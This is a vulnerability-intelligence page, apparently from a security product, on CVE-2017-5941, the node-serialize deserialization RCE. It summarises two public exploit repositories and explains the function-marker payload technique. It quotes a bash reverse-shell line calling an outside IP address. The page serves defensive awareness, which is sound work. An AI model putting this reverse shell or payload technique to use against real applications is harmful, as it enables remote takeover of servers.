CVE-2017-5941 is a vulnerability in the node-serialize package version 0.0.4 for Node.js. The vulnerability arises when untrusted data is passed to the unserialize() function, which can be exploited by supplying a specially crafted JavaScript object containing an Immediately Invoked Function Expression (IIFE). This allows an attacker to execute arbitrary code in the context of the application using node-serialize.
Mallory correlates every CVE against your assets, your vendors, and active adversary campaigns. Know which vulnerabilities matter for you, not just which ones are loud.
What it means. What to do now. Patch path, mitigations, and the assume-compromise checklist.
What an attacker gets, and what they’ve been doing with it.
If you can’t patch tonight, do this now.
Patch, then assume compromise.
2 valid exploits after Mallory filtered fakes, detection scripts, and README-only repos (4 hidden).
Repository contains a small PoC/operational exploit for `node-serialize` deserialization RCE (CVE-2017-5941). Structure: (1) README.md describes the vulnerability and defensive guidance, but the repo also includes working exploit code. (2) exploit.py is the primary exploit: it crafts a base64-encoded JSON object placed into a `profile` cookie. The JSON includes an `exec` field containing a node-serialize function marker `_$$ND_FUNC$$_` followed by JavaScript that, when deserialized, patches `http.ServerResponse.prototype.end` and runs `child_process.exec()` to execute a hardcoded bash reverse shell (`bash -i >& /dev/tcp/192.168.200.5/445 0>&1`). It then performs an HTTP GET to the hardcoded target `http://192.168.100.133:8000/` with that cookie. (3) exploit.js is a trivial placeholder printing "Hello World" and is not used for exploitation. Overall purpose: demonstrate/perform remote code execution against a Node.js web app that unserializes attacker-controlled cookies using vulnerable node-serialize behavior.
This repository is a proof-of-concept (PoC) for CVE-2017-5941, targeting the node-serialize package (version 0.0.4 and below) in Node.js applications. The vulnerability allows remote code execution via unsafe deserialization of user-controlled input. The repository contains a minimal vulnerable Node.js application (in app/server.js) exposing two endpoints: POST /api/deserialize and GET /profile (using a Base64-encoded 'profile' cookie). Both endpoints pass untrusted data to node-serialize's unserialize() function, which executes any string value starting with _$$ND_FUNC$$_ as JavaScript code. The included Python script (poc_cve_2017_5941.py) automates exploitation by sending a crafted serialized payload to these endpoints. The default payload writes to /tmp/pwned.out on the server, while an alternative payload can open a reverse shell. The repository structure includes Docker files for easy setup, the vulnerable app, and the PoC exploit script. This PoC is intended for educational and self-assessment purposes only.
Products and vendors Mallory has correlated with this vulnerability. Open in Mallory to drill down to specific CPE configurations and version ranges.
Vendor-confirmed product mapping. Mallory continuously reconciles this list against your asset inventory.
No public activity tracked yet. Mallory keeps watching.
No public activity observed for this vulnerability.
Query your assets running an affected version, and investigate the blast radius.
Every observed campaign linking this CVE to a named adversary.
Malware families riding this exploit, with evidence and IOCs.
YARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.
Cross-references every affected SKU, including bundled OEM variants.
Community discussion across Reddit, Mastodon, and other social sources.